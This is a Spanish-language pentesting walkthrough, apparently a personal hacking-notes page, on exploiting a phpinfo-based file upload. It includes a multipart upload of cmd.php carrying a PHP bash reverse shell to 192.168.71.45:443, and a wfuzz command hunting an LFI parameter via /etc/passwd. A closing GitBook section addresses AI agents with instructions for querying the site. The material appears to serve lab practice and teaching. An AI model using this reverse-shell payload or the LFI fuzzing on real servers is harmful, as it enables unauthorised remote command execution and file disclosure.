> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/file-upload-attack/file-upload-phpinfo-pentesting-web.md).

# Subida de archivos phpinfo

## Carga de archivos:

Después de localizar el archivo "info.php", explore la posibilidad de cargar archivos en el servidor.

<figure><img src="/files/bb53e1b1b572c5aec6970c1703f254b22aa54853" alt=""><figcaption></figcaption></figure>

**Interceptar con Burp Suite:** Use Burp Suite para interceptar la solicitud. Modifique el método de "GET" a "POST".

<figure><img src="/files/b38bb0d6e56f2ab4405ed6d26a2cd33c5eb7642f" alt=""><figcaption></figcaption></figure>

#### Solicitud para importar un archivo de texto en el servidor:

Use la estructura de Burp Suite a continuación para enviar una solicitud para cargar un archivo llamado `test.txt`:

```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="test.txt"
Content-Type: text/plain
Esto es una prueba
----pwned

```

<figure><img src="/files/e7aaf3f0c8eb90ac428dc07fd91f1f05b2b59858" alt=""><figcaption></figcaption></figure>

**Inyección de código PHP:** Intente inyectar código PHP usando la misma estructura de Burp Suite. Modifique el contenido del archivo para inyectar el payload.

```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="cmd.php"
Content-Type: text/plain
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.71.45/443 0>&1'"); ?>
----pwned

```

#### Confirmación de la inyección:

Verifique si la inyección fue exitosa confirmando la presencia del archivo "cmd.php" en el servidor.

<figure><img src="/files/d6e28949e31a4f3298bf15bd36f7977e5d85b241" alt=""><figcaption></figcaption></figure>

#### Búsqueda de LFI

Para encontrar una vulnerabilidad LFI, usamos la herramienta wfuz para identificar un posible parámetro que redirige a un archivo PHP. El comando es el siguiente:

```bash
wfuzz -c --hl=136 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.71.146/index.php?FUZZ=/etc/passwd"

```

<figure><img src="/files/3bcc15c9b7f96c8a5b6c23193f3b47a36b1a361c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cba833ff5abd4dbecff240f2e78ad1694df08701" alt=""><figcaption></figcaption></figure>

#### Dificultad con el cambio constante de la carpeta:

Desafortunadamente, no logramos listar el contenido del archivo cmd.php debido al cambio constante temporal de la carpeta:

<figure><img src="/files/f35a4c80552eeca77e3868e479a0a2155335d373" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/file-upload-attack/file-upload-phpinfo-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
